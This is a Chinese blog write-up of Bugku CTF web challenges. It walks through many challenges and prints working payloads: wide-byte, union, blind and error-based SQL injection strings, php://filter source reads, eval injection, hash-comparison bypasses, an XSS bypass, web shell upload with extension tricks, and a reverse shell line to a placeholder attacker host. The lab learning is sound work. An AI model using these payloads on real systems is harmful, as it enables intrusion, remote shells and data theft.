Bugku------Web(持续更新)

我使用的是火狐浏览器

使用火狐浏览器的hackbar插件

如果有错误的地方希望大家多多指出,多谢多谢

WEB2

点开图片是一组滑稽脸,按F12直接可得flag

文件上传测试

通过上传.png文件,得知非php文件,于是采用burp进行修改上传的文件。

Bugku------Web(持续更新)_第1张图片

得到flag

计算器:

直接按F12,将

Bugku------Web(持续更新)_第2张图片

在输入正确结果即可得到flag

web基础$_GET

```

$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

```

根据题意,直接将what赋值为flag

 web基础$_POST

和上到题差不多,然后就这样

Bugku------Web(持续更新)_第3张图片

得到flag

矛盾

观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造

http://120.24.86.145:8002/get/index1.php?num=1%00

得到flag

web3

界面有点不尽 的弹窗,应该是使用了大量的alert语句,直接查看网页源代码

最后一行是这样的

使用html解码,得到flag

sql注入

在题目后面加',网页出错,说明有sql注入漏洞,查看网页源代码,查看是什么语言编码

"gb2312",考虑宽字节注入。

?id=1%bf',程序报错

?id=1%bf' --+程序又恢复正常

那么我们就要开始工作喽

?id=1%bf' and version()>0--+,返回正确,则数据库可能为sqlserver和mysql

?id=1%bf' and length(user())>0 --+ 返回正确,说明存在user()函数,是mysql数据库

?id=1%bf' order by 2--+ 采用order by 语句查询数据库的列数,为2

?id=1%bf' union select 1,2--+ 来确定回显

我们这里采用其中的一个回显位置

?id=1%bf' union select database(),2--+ 查询数据库名称为sql5

?id=1%bf' union select string,2 from sql5.key where id=1--+ 然后查询key表,id=1的string字段

得到flag

域名解析

域名解析需要修改hosts文件,这里我们使用ubuntun虚拟机进行这道题的解答

首先输入这样打开hosts文件

Bugku------Web(持续更新)_第4张图片

将host文件修改为这样,然后直接访问flag.bugku.com得到flag

SQL注入1

和SQL注入差不多,我们来看看这道题,这道题与上到题差距不大,这里只是加入了XSS过滤,但是XSS过滤,strip_tags()会将html,php,xml标签全都去掉,利用这一特点,我们来进行解题

老规矩:

http://103.238.227.13:10087/'    存在SQL注入漏洞

http://103.238.227.13:10087/?id=1%20o%3Cp%3Erder%20by%202--+ 判断程序的字段名为2

http://103.238.227.13:10087/id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20database(),2--+                            判断数据库名称为sql3

http://103.238.227.13:10087/?id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20hash,2%20fro%3Cp%3Em%20sql3.key%20where%20id=1--+    查找表为key的数据表,id=1值hash字段值得到flag

你必须让他停下

打开网站后网页一直都在跳动,而且页面不同,猜测flag在其中的一些网页中,采用burp一帧帧的看,在Repeter多次go,很容易就得到了flag

本地包含

方法一

        对_REQUEST[]函数并不是很了解,百度得到它对get/Post都可以接受

        其中第一句话include“flag.php”说明该文件在本地

         第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)

    根据这一特性,我们尝试将flag.php文件直接输出

构造如下:http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23

使原文语句为

```

    eval(“var_dump(1);print_r(file(“./flag.php”))”)

```

方法二:

    另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')

    然后查按F12可以知道flag

变量1

首先观察程序,很明显看到了$$args,考虑到此题可能考GLOBALS变量,直接构造如下赋值即可:

http://120.24.86.145:8004/index1.php?args=GLOBALS

得到flag

web5

查看网页源代码,发现了一大堆[]()组合,考虑是JSFUCK,

直接将括号复制到谷歌浏览器的控制台运行得到flag

头等舱

Bugku------Web(持续更新)_第5张图片

采用burp抓包:

Bugku------Web(持续更新)_第6张图片

提交flag即可

web4

查看网页源代码p1=%..%...;p2=%..%...

题目最后p1+%..%...+p2

先进行URL解码

```

p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32=54aa2

```

提交67d709b2b54aa2aa648cf6e87a7114f1

得到flag

flag在index里

将网页点开,在点击相应连接,网页地址栏变为:

http://120.24.86.145:8005/post/index.php?file=show.php

看到了file关键字,看看用php://filter能否将index读出来

http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

将得到了base64解码,观察程序得到flag

输入密码查看flag

直接burp爆破

点击一百万次

真正点击100 0000 是不可能的,尝试F12修改点击次数,未果

修改程序中的jsp代码,未果

查看网页源代码,根据

if(clicks >= 1000000)

直接将clicks赋值为10000000(POST方法),查看结果 

得到flag

备份是个好习惯

打开网页d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

将里面的东西解码,每个解码的方式都试过了,未果,观察里面的加密值,发现先后重复

将d41d8cd98f00b204e9800998ecf8427e解密

Bugku------Web(持续更新)_第7张图片

然后在flag中试了各种与空有关的东西,未果。

观察题目,说备份是个好习惯猜测应该与备份有关

小知识:

    备份文件一般情况是在后缀名后加的*.swp,*.bak

    http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

看看里面有什么东西

http://120.24.86.145:8002/web16/index.php.bak

访问成功了,随便用个什么编辑器把这个东西打开,我这里使用的是bycharm(给在校大学生安利一波),里面的代码是这样滴:

```

include_once "flag.php";

ini_set("display_errors", 0);

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2){

echo $flag."取得flag";

```

要求key1和key2的md5值相等,但是值不相等

百度得这两个值为240610708和QNKCDZO,尝试赋值,并没有什么变化

继续观察源程序,发现程序中将key字符变为空,考虑用kkeyey取代key,

然后果然得到了flag

成绩单

向其中分别输入1,2,3...发现可以查询,当向其中输入1'时,程序不能查询,根据观察题目,猜测应该有4列

输入0,没有查询结果,在这里使用0作为回显,输入0' union select 1,2,3,4 #

得到相应的值

先查询数据名称0' union select database(),2,3,4; 为skctf_flag

然后查询表名

```

id=0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#

```

查到为flag4,继续查询列名,得到skctf_flag,然后继续查询,

得到flag

秋名山老司机

要求在2秒之内计算结果,多次刷新界面,有时候回出现如下界面:

无奈,只好写一个脚本,对value赋值,这里将代码贴上

```

import requests

import re

import base64

url='http://120.24.86.145:8002/web6/'

s=requests.session()

r=s.get(url)

flag=r.headers['flag']

print(flag)

flag1=base64.b64decode(flag)

print(flag1)

flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])

#将flag分为两部分,[1:-1]就是获取到的值

print(flag2)

data={"margin":flag2}

r=s.post(url,data)

print(r.text)

```

cookies欺骗

打开网页后是一堆乱码,但是看到url中filename=a2V5cy50eHQ=,尝试解码,get文件夹keys.txt,打开什么也没有。

由于keys.txt是以base64编码输入的,我们不妨以base64编码的方式传入index.php,看看有什么结果也是什么也没有。

尝试将地址栏中的line赋值为1,终于出现了一行代码,然后估计line为几,就是读取第几行,一行行试的比较麻烦,这里写一个脚本来获取整个index.php文件,这里贴上代码:

```

import re

import requests

url='http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'

for iin range(100):

url1=url%i

c1=requests.get(url1).text

print(c1)

if c1=='':

break

```

得到的index.php文件中的代码如下:

```

'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

```

看到了keys.php猜测flag在这里。然后在flag.php中传入margin=margin,得到flag

Bugku------Web(持续更新)_第8张图片
如图所示

XSS

查看网页源代码,感觉只有可能给变量id和s赋值,这里先采用id赋值

然后查看网页源代码

发现其中的<>被过滤,这样就简单了,使用unicode编码进行绕过

?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e

进行输入,得到flag

never give up

查看网页源代码,发现了1p.html,直接访问,发现跳转回主界面

但是1p.html是实实在在存在,而且还在当前目录,考虑如何访问1p.html

查看源代码中直接将index.php修改为1p.html,没想到竟然成功访问了

将得到的语句进行Base64解码,根据解码的结果在进行一次url解码,查看源代码,发现当前目录存在f4l2a3g.txt,访问得到flag

welcome to bugkuctf

查看源代码,访问hint.php,正常来讲,一个php文件是有内容的,考虑如何访问到hint.php

程序需要先使user的值与welcome to the bugkuctf相同,但是这里有file_get_contents()函数

可以采用php://input才访问原始请求数据的只读流,这里将txt赋值为php://input

在post相应的值。

Bugku------Web(持续更新)_第9张图片
具体操作流程

将file赋值为phpfilter读相应的base64编码的文件。代码如下:

Bugku------Web(持续更新)_第10张图片
hint.php

看到了flag.php,估计我们的flag就在其中,通过访问hin.php的方式在来访问flag.php,方法不可行,就需要考虑其他的方法了。

通过思考,一种可行的方法就是通过在index.php(如果一个地址栏末端是'/',则默认是index.php)中通过一些方法使hint.php加入其中,在通过一定的方法使hin.php包含flag.php 

而我们看到的index.php文件只有一段注释性的代码,里面应该还有一些其他的东西,尝试是否可以访问。直接将一开始插图中的hint.php改为index.php就好了。

   果然,其中还是藏有许多东西的(将代码复制粘贴出来保存为txt文件):

Bugku------Web(持续更新)_第11张图片
flag.php

这里用到了反序列化(我并不是很熟悉,多亏大佬的帮助),这里附上源代码:

Bugku------Web(持续更新)_第12张图片
反序列化的源代码

这样思路就清楚了,尝试给password复制为反序列化的值,查看结果

Bugku------Web(持续更新)_第13张图片
反序列化的值就是password那堆恶心的东西

然后查看源代码就拿到了flag.

过狗一句话

看题目意思应该就是需要给s赋值,看到题目的时候也是觉得无从下手,多谢大佬的指点,使得做题在有了一些眉目。

    首先将s赋值为phpinfo(),发现可以访问,说明s可以输出我们输入的结果

    然后题目一般flag文件都在.php文件中显示,尝试查看所有的文件

                                                s=print_r(glob('*.*'))

    然后可以看到flag文件,直接访问相应的flag文件得到flag

字符?正则?

看题目就是给id根据正则表达式的条件赋值,我的赋值是这样的:

http://120.24.86.145:8002/web10/?id=/keyaakeyaaaaakey:/a/aakeya'/i

然后就拿到了flag

前女友(SKCTF)

点击查看源代码,然后在查看code.txt,代码如下:

Bugku------Web(持续更新)_第14张图片
code.txt

意思大致就是v1!=v2,md5值相等,之前提到过,是240610708和QNKCDZO,然后比较v3和flag,这里利用了strcmp的一个漏洞,不能比较数组,这里我的构造如下:

payload

成功拿到flag

login1(SKCTF)

这道题是一个登陆框,登陆admin,提示用户已经存在,后来自己注册了一个账号,结果不是管理员不能查看flag,未果。在考虑如何使用admin登陆,刚开始使用万能密码登陆,结果没有登陆成功,然后尝试用约束攻击,约束攻击的原理就是注册用户名为'admin    '(有多个空格,这里是三个)的账号,密码'123'(密码可以自定义),然后登陆成功,但是数据库会返回表中的第一个用户,也就是真真实实的admin(这个漏洞只可能在老版本的sql中出现,新版本的mysql已经修复漏洞),然后就可以用admin的身份登陆网页,拿到flag。

    这里我注册的账号为‘admin   ’(三空格),密码为‘ABCabc123’然后就成功以管理员的身份拿到了flag

    不过好像提交不了,这个题可能被破坏了吧?

你从哪里来

Bugku------Web(持续更新)_第15张图片

           这个题是真的好迷啊,刚开始做没做出来,打开界面就这么一句话:are you from google?

        然后改了半天没出来,后来用谷歌也没打开,甚至翻到了国外用谷歌来访问这个题还是老样子。

        后来在群里激烈的讨论了下才知道原来是这么做的啊:

Bugku------Web(持续更新)_第16张图片

将这个地方改为谷歌原生的网址就好了:https://www.google.com

中国用谷歌会默认转到香港hk。

md5 collision(NUPT_CTF)

Bugku------Web(持续更新)_第17张图片

md5碰撞,emmmm,这道题算是做了好久,脑洞不够大!!!!

打开文件,要求输入a的值,不过文件的后缀名是.php(一般要用到0e开头的),

这里就需要补充一波常识了:

        在php文件中,以MD5值以0e开头的话,php就会认为他们两个的值相等  。所以可以写个脚本来跑出一个以0e开头的

Bugku------Web(持续更新)_第18张图片

不过这里跑出来的是数字,然后没有通过检测,可能需要使用字符串。    

编程能力有限,然后直接在网站上找了以0e开头的字符串:

                http://www.219.me/posts/2884.html

然后直接选其中一个提交拿到flag

Bugku------Web(持续更新)_第19张图片

各种绕过

看到了flag.php,鸡动的赶紧看看能不能直接看,然后未果。

考虑开始好好看一遍题目

Bugku------Web(持续更新)_第20张图片
题目

最开始获取id时需要用urldecode解码(如果没有用url编码,解码还是原来的东西)

第一行的比较中,uname必须!=passwd才可以继续

第二次比较中,sha1是哈希算法,可以使用数组绕过

这样payload就比较简单了,这里我附上我的payload

Bugku------Web(持续更新)_第21张图片
payload

获得flag

web8

打开网页,附上源代码:

Bugku------Web(持续更新)_第22张图片
题上 的 代码

看到了熟悉的file_get_contents函数,可以使用php://input给fn赋值,ac直接赋值,然后使两个相等就可以了,知道题还是比较简单的,这里附上我的payload

Bugku------Web(持续更新)_第23张图片
我的payload

细心

    想办法变成admin

Bugku------Web(持续更新)_第24张图片
刚打开题目网页

看到题目吧,还是比较懵的,给的两个按钮点击有没有什么用,然后就看看网页呗。

题目的意思打开是在找文件或目录,这样我们先来看一下网页可以直接访问的文件有哪些:

Bugku------Web(持续更新)_第25张图片
一般网站都会有robots.txt文件的,存放可以直接访问的文件子目录

根据提示,在看看resusl.php文件

Bugku------Web(持续更新)_第26张图片
resusl.php

看到以后慌的一批,考虑换个ip做这道题,但是还是先看看不换ip能不能做

题目中的一个小提示是想办法变成admin,题目中需要获取x的值,自然想到直接将x赋值为admin,没想到直接就拿到了flag,这道题难度也不是很大。

求getshell

这道题是文件上传题,本来用菜刀做了一小会,然后bugku好像把菜刀给ban了。无奈,用burp来做这道题。然后直接上传菜刀中的一句话木马

123.php里面的 东西

这道题后来尝试了好久,但是没有做出来,无奈,只好找大佬寻求帮助

大佬说这道题是后缀名黑名单检测和类型检测

    如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,这里将文件的后缀名改为.jpg和.png都不可行,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag

Bugku------Web(持续更新)_第27张图片
我滴payload

INSERT INTO注入

点开题目,有如下程序代码:

Bugku------Web(持续更新)_第28张图片
代码

观察程序,程序关闭的了错误报告 ,大致意思是将访问者的ip记录到数据库进行查询。

然后点开其中的链接,网站记录了其中的ip地址,可以想到http头注入,而且我也是第一次接触头部注入,只会稍稍用一下XFF

Bugku------Web(持续更新)_第29张图片
我的XFF

发现无论在XFF后添加什么东西,都会返回原来的东西,所以应该是Insert型的SQL注入,考虑时间盲注

Bugku------Web(持续更新)_第30张图片

通过测试,这样会进行延时5秒,说明是时间盲注,而且是字符型的时间盲注

我也是第一次接触时间盲注,心里慌的一批,这里采用暴力法寻找数据库名,表名,字段名和内容。原理就是超时等待,我们先来爆破数据库:

Bugku------Web(持续更新)_第31张图片
爆破数据库名称的代码

代码比较多,而且大部分都是重复的,这里我说一下思路,先盲注得到数据库,在爆破表、字段,最后在盲注指定的数据,得到flag。

这道题第一次做真的是相当的难,我也戈了好久。

这是一个神奇的登陆框

这道题还算比较简单。打开题目,随便输个什么用户名,这里以amsoasod为例,loadurl,界面框如下图所示:

Bugku------Web(持续更新)_第32张图片
我所弄的东西

然后点击执行,结果当然是try again!,首先在用户名后面加个\,出现错误,则存在注入漏洞

Bugku------Web(持续更新)_第33张图片
BUG

然后尝试怎么将漏洞利用,在"后面加了--+,不行,但是%23和#都可以,然后就可以注入了,利用order by确定列数

admin_name=amsoasod" order by 2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定回显:

admin_name=amsoasod" union select 1,2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定数据库名称:admin_name=amsoasod" union select database(),2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定数据库里面的表

    admin_name=amsoasod" union select table_name,2 from information_schema.tables where table_schema='bugkusql1'%23&admin_passwd=aaaa&submit=GO+GO+GO

确定表中的字段:admin_name=amsoasod" union select column_name,2 from information_schema.columns where table_schema='bugkusql1' and table_name='flag1'%23&admin_passwd=aaaa&submit=GO+GO+GO

然后获取其中的数据:admin_name=amsoasod" union select flag1,2 from bugkusql1.flag1%23&admin_passwd=aaaa&submit=GO+GO+GO

多次

    本题有2个flag

第一关是双写绕过,很简单的,试一下就好

PHP_encrypt_1(ISCCCTF)

感觉这个题应该是密码学的题,不过难度不大,直接对应解密就好了,这里偷给懒,就不写了。

文件包含2

Bugku------Web(持续更新)_第34张图片

一打开之后题目是这样的:http://118.89.219.210:49166/index.php?file=hello.php

然后查看源代码,没什么有用的东西,但是其中应该会隐藏什么

然后采用php://filter查看网页:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

然后查看源代码:

view-source:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

访问http://118.89.219.210:49166/upload.php

Bugku------Web(持续更新)_第35张图片

我直接上传了一个小马

然后采用菜刀连接,结果连接如下图所示

Bugku------Web(持续更新)_第36张图片

就是说其中的已经被屏蔽了,使得脚本无法执行,然后尝试修改文件,使得不会过滤,其中的一种过滤方法是

Bugku------Web(持续更新)_第37张图片

可以看到代码不会过滤,但是菜刀竟然连不上,可能是被ban了。

然后采用burp抓包,将这个文件进行发送:

Bugku------Web(持续更新)_第38张图片

然后访问这个文件

Bugku------Web(持续更新)_第39张图片

访问第四个文件,可以得到flag。

flag.php

    点了login咋没反应    

    提示:hint

Bugku------Web(持续更新)_第40张图片
题目中的框

    输入东西,然后点击login,果然没反应,然后尝试抓包,鬼也没抓到。所以这个登陆框就只是给人看的,然后地址栏是这样:http://120.24.86.145:8002/flagphp/,顺便百度一下hint是线索的意思,尝试访问hint.*,然后鬼也没出来,然后尝试将hint赋值为1,然后就出来源代码了???,这里吧源代码粘上吧:

Bugku------Web(持续更新)_第41张图片
http://120.24.86.145:8002/flagphp/?hint=1

先尝试访问flag.php,然后失败了,然后观察程序程序的意思就是加入cookie:ISecer的反序列化等于KEY,然后又在最下方给出了KEY的值,这样就很简单了直接用burp抓包,然后直接在cookie中加入ISecer='ISecer:www.isecer.com' 的值,结果提交老没用,只好继续观察程序,看哪里出问题了,才发现最下面那是给KEY赋值,只好修改payload,是ISecer为空,提交:

Bugku------Web(持续更新)_第42张图片
我的payload

得到flag

sql注入2

    全都tm过滤了绝望吗?

    提示 !,!=,=,+,-,^,%

这道题按照之前的套路墨迹了好久,没有找到注入点,没有找到回显,蓝瘦,然后百度了一波教程,说是DS_Store典型的源码泄漏,网上找找工具,将网站扫描一下,就能找到flag。最后直接访问http://120.24.86.145:8007/web2/flag,就可以下载到flag

正解

http://hu3sky.ooo/2018/08/18/bugku%20sql2/

孙xx的博客

    需要用到渗透测试第一步信息收集

    点开blog,浏览一哈全部的博客,然后看到了这

Bugku------Web(持续更新)_第43张图片
点开看看如下图
Bugku------Web(持续更新)_第44张图片
网页里面有用的东西

    这两个东西很容易就能联想到时用户名密码,可是这里应该是哪里的用户名密码,

    尝试访问phpmyadmin,没想到成功访问了,然后把上面这两个东西分别作为用户名密码输进去,然后就可以成功登入了,然后

Bugku------Web(持续更新)_第45张图片
数据库的东西

直接点击它,然后查看里面的东西直接就得到了flag

报错注入

Bugku------Web(持续更新)_第46张图片

这道题使用了报错注入,关于报错注入vinc大佬的博文写的是很好的:            http://vinc.top/2017/04/06/

另外,论坛中对报错注入的两篇博文也写的比较详细:

http://www.bugku.com/forum.php?mod=viewthread&tid=152&highlight=%B1%A8%B4%ED

http://www.bugku.com/forum.php?mod=viewthread&tid=93&highlight=%B1%A8%B4%ED

其实 我也是第一次使用报错注入,就来现学现用吧。

Bugku------Web(持续更新)_第47张图片

题目中不能包含空格,根据muysql的特性,可以用换行符(%0a)代替空格符,这里我使用的报错时extractvalue。

首先来测试一下:

Bugku------Web(持续更新)_第48张图片

报错注入成功了,然后我们就可以为所欲为了。

工具题目的提示,我们需要访问文件/var/test/key_1.php,就需要在extractvalue函数中使用读取文件的函数来读取到该文件,但是经过百度读取文件的函数load_file的语法是:

Bugku------Web(持续更新)_第49张图片

都要用到    '    ,这就比较难为人,不过采用ASCIIhex加密就不需要加     '    了,具体payload如下:

Bugku------Web(持续更新)_第50张图片

32个字符解密出来是这样的:

Bugku------Web(持续更新)_第51张图片

很明显这不是一个完整的php文件,尝试将其读完整。而且中间比较乱的部分可能就是flag,

为什么没有读取完整呢?

    load_file文件本身读取时没有问题的,但是extractvalue函数的性质就是只能读32位

这里使用substr(str,start,length)函数来读取剩下的文件。

然后不断的用起点和长度来试探flag,得到的最终paylaod如下:

Bugku------Web(持续更新)_第52张图片

然后提交了好几次都没提交成功,后来才发现原来这里个flag是不完整的,哎

然后需要将substr(str,start,length)函数中的start和length函数进行相应的调整就可以获得全部的flag。

Trim的日记本

    hints:不要一次就放弃

直接扫扫目录,show.php就能看到(不过一般情况下线上比赛是不允许扫目录的)

然后flag就在里面

不知道正解是啥。

login2(SKCTF)

    hint:union,命令执行    

md5绕过登陆,直接上我的payload的

username=1' union select 1,md5(1)%23&password=1

经过fuzz一波,可以发现在;后面的指令会执行,但是不一定会有回显。

然后在网上可以搜到很多反弹shell的payload,我用的是这个
```

/bin/bash -i > /dev/tcp/attackerip/80800<&12>&1

```

Bugku------Web(持续更新)_第53张图片


login3(SKCTF)

    hint:基于布尔的SQL盲注

这个题也是fuzz了好久,直接给payload,没什么好说的

username=admin%bf'or(select(password))regexp'^5&password=admin

username=admin%bf'or(select(password))regexp'^51&password=admin

一个个往下继续就好,最终md5解密

登陆得flag


login4

    hint:CBC字节翻转攻击


补题:

##程序员本地网站

100

http://120.24.86.145:8002/localhost/请从本地访问

X-Forwarded-For:127.0.0.1


##文件上传2(湖湘杯)

200

http://120.24.86.145:9011/

这个题fuzz了好久,后来发现上传正常的图片也无法显示,那么考点肯定不是文件上传了,GG。

直接给payload:

```

http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag

```

##网站被黑

60

http://120.24.86.145:8002/webshell/

这个题没技术含量但是实战中经常遇到

打开网页没什么东西,就需要考虑扫描目录,可以扫描到shell.php。密码是hack

登陆即可得flag。


###管理员系统

60

http://123.206.31.85:1003/

F12打开有base64编码,解密是test123

然后admin/test123在根据提示的ip添加X-Forwarded-For:127.0.0.1头部即可拿到flag

POST / HTTP/1.1

Host: 123.206.31.85:1003

X-Forwarded-For: 127.0.0.1

user=admin&pass=test123

先写这么多,有时间的话之后再补上

你可能感兴趣的:(Bugku------Web(持续更新))